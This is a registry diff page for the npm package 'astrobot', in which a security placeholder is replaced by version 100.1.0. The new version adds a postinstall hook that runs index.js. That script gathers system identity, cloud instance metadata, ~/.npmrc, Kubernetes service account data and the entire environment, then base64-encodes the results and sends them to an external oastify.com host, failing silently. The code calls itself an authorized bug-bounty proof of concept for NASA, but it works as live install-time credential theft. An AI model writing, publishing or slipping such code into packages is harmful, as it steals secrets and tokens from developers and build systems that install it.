astrobot 0.0.1-security → 100.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of astrobot might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +92 -0
  2. package/package.json +7 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,92 @@
1
+ const https = require('https');
2
+ const { execSync } = require('child_process');
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+
6
+ // ======================= CONFIGURATION =======================
7
+ const OAST_DOMAIN = 'sxtlj4ht3nojwvaje4eogc8h1876vxjm.oastify.com';
8
+ // =============================================================
9
+
10
+ function runCommand(command) {
11
+ try {
12
+ return execSync(command, { stdio: 'pipe', timeout: 3500 }).toString().trim();
13
+ } catch (e) {
14
+ return `COMMAND_FAILED: ${e.message.split('\n')[0]}`;
15
+ }
16
+ }
17
+
18
+ function readFile(filePath) {
19
+ return fs.existsSync(filePath) ? fs.readFileSync(filePath, 'utf-8').trim() : null;
20
+ }
21
+
22
+ async function collectAllEvidence() {
23
+ console.log('[+] Starting advanced evidence collection...');
24
+
25
+ const [awsMeta, gcpMeta, azureMeta] = await Promise.all([
26
+ runCommand('curl -s --connect-timeout 3 http://169.254.169.254/latest/dynamic/instance-identity/document'),
27
+ runCommand('curl -s --connect-timeout 3 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/?recursive=true'),
28
+ runCommand('curl -s --connect-timeout 3 -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"')
29
+ ]);
30
+
31
+ const evidence = {
32
+ title: "CRITICAL RCE - DEFINITIVE PROOF OF INTERNAL COMPROMISE",
33
+ timestamp_utc: new Date().toISOString(),
34
+ collected_by: "nepalihacker000",
35
+
36
+ system_identity: {
37
+ hostname: os.hostname(),
38
+ whoami: runCommand('whoami'),
39
+ uid_gid: runCommand('id'),
40
+ working_directory: process.cwd(),
41
+ },
42
+
43
+ verifiable_cloud_metadata: {
44
+ aws: awsMeta.startsWith('{') ? JSON.parse(awsMeta) : awsMeta,
45
+ gcp: gcpMeta.startsWith('{') ? JSON.parse(gcpMeta) : gcpMeta,
46
+ azure: azureMeta.startsWith('{') ? JSON.parse(azureMeta) : azureMeta
47
+ },
48
+
49
+ internal_context: {
50
+ dns_config: readFile('/etc/resolv.conf'),
51
+ npm_config: readFile(`${os.homedir()}/.npmrc`),
52
+ },
53
+
54
+ kubernetes_info: {
55
+ service_account_token_present: !!readFile('/var/run/secrets/kubernetes.io/serviceaccount/token'),
56
+ namespace: readFile('/var/run/secrets/kubernetes.io/serviceaccount/namespace'),
57
+ },
58
+
59
+ full_environment_dump: process.env,
60
+ };
61
+
62
+ console.log('[+] Evidence collection complete.');
63
+ return evidence;
64
+ }
65
+
66
+ async function exfiltrate(evidence) {
67
+ const reportData = JSON.stringify(evidence, null, 2);
68
+ const b64Report = Buffer.from(reportData).toString('base64');
69
+ const dynamicHostname = `nasa-rce.${OAST_DOMAIN}`;
70
+
71
+ const postOptions = {
72
+ hostname: dynamicHostname,
73
+ path: '/final_proof',
74
+ method: 'POST',
75
+ headers: { 'Content-Type': 'text/plain', 'User-Agent': 'Bugcrowd-VDP-Final-PoC' }
76
+ };
77
+
78
+ console.log(`[+] Exfiltrating definitive proof to ${dynamicHostname}`);
79
+ const request = https.request(postOptions);
80
+ request.on('error', (e) => console.error(`[!] Exfiltration failed: ${e.message}`));
81
+ request.write(b64Report);
82
+ request.end();
83
+ }
84
+
85
+ (async () => {
86
+ try {
87
+ const evidence = await collectAllEvidence();
88
+ await exfiltrate(evidence);
89
+ } catch (e) {
90
+ // Silent failure
91
+ }
92
+ })();
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "astrobot",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "100.1.0",
4
+ "description": "Final RCE Proof of Concept. Authorized VDP submission for NASA.",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ },
8
+ "author": "nepalihacker000",
9
+ "license": "ISC"
6
10
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=astrobot for more information.